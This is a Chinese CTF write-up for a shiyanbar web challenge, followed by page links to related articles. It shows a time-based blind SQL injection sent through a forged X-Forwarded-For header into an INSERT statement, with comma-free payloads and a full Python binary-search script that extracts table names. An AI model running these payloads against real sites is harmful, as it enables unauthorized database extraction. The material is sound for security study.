题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php

根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造

由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个逗号前的数据会到达数据库

经过几次测试,这里除了回显ip外是不会有任何提示的,包括报错注入,所以只能用基于时间的盲注

由于是向数据库储存数据,猜测后台的sql语句如下:insert into ipaddress(ip) values('ip');

提交如下数据   '+sleep(5));#

后台语句便为  insert into ipaddress(ip) values(''+sleep(5));#');  即为   insert into ipaddress(ip) values(''+sleep(5));

服务器的响应时间为5秒以上就说明sleep()成功执行了

sql中有以下写法

insert into t(name) values(( select case when (1) then sleep(1) else 1 end));

于是构造如下语句

'+ (select case when (   ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1   ) then sleep(1) end) );#

sql语句即为

insert into ipaddress(ip) values(''+ (select case when (   ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1   ) then sleep(1) end) );

用二分法写python脚本,我只写的猜解表名的,剩下的改下payload(select flag from flag)即可,另外,实验吧的服务器是真的差,有时候都不给响应的,所以时间盲注得等网速快的时候才能用,不然就改一下sleep的时间。。。

 import requests
import re
import time requests=requests.session() strall=[]
strall.append('')
for i in range(33,128):
strall.append(str(i)) #a=isthis(1,'98',">")
def isthis(index,charascii,compare):
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
headers={
'Content-Type': 'application/x-www-form-urlencoded',
"X-Forwarded-For":"'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from({}) ))".format(str(index))+compare+"{} ) then sleep(3) end) );#".format(charascii)
}
print headers['X-Forwarded-For']
t0=time.time()
r=requests.get(url=url,headers=headers)
t=time.time()-t0
if t>3:
return True
else:
return False ans=''
flag=0
for index in range(1,99):
left=0
right=len(strall)
if flag:
break while left<=right:
mid=(left+right)>>1
if isthis(index,strall[mid],">"):
left=mid+1
elif isthis(index,strall[mid],"<"):
right=mid-1
else:
if strall[mid]=='':
flag=1
break
value=chr(int(strall[mid]))
ans+=value
print ans
break print ans raw_input('done')

注意最后flag提交的格式是ctf{xxxx}

实验吧——who are you?(insert into注入 二分法 时间盲注)的更多相关文章

  1. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  2. 实验吧之【who are you?】(时间盲注)

    地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...

  3. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  4. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  5. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  6. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  7. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  8. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  9. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

随机推荐

  1. webpack开发指南1

    怎么安装Webpack 安装node.js 首先需要安装Node.js,node自带了包管理工具npm. 安装webpack 使用npm install webpack -g,webpack全局安装到 ...

  2. pycharm写好的python项目怎么上传到github?

    话不多说,直接抛链接 Pycharm项目上传到Github

  3. 【oracle】获取指定表空间的所有表名

    select owner||'.'||table_name from dba_tables where tablespace_name='A';

  4. Excel-数据透视表

    例如: 购买数量采用求和的方式 用户数ID数据采用计数的方式 一.数据透视表的结构 二.数据透视表的步骤 1.订单表 提出问题,理解数据,数据清晰,构建模型,数据可视化 问题1:每个客户的订单量? 问 ...

  5. Oracle工具PLSQL

    2018版的PLSQL美化工具在Tools中的PL/SQL Beautifier中 如下:

  6. 使用ES6 Class封装的IndexDB 操作类,并实现模糊搜索

     封装如下: indexDBOperate.js export class IndexDBOperate { db = null // 数据库实例 databaseName = null // 数据库 ...

  7. 复杂模拟 | 1095 模拟N个学生有K个志愿填M个学校

    妈的智障 #include <stdio.h> #include <memory.h> #include <math.h> #include <string& ...

  8. [LeetCode] 763. Partition Labels 分割标签

    A string S of lowercase letters is given. We want to partition this string into as many parts as pos ...

  9. 解决 ora-01795 的问题

    ''' <summary> ''' 在 oracle 里 , where in 语句有可能造成问题 : ORA-01795:列表中的最大表达式数为1000 ''' 如果我们在拼接where ...

  10. 从GopherChina 2019看当前的go语言

    GopherChina 2019大会4月底刚刚结束,大会上使用的PPT也放了出来(大会情况及PPT在https://mp.weixin.qq.com/s/_oVpIcBMVIKVzQn6YrkAJw) ...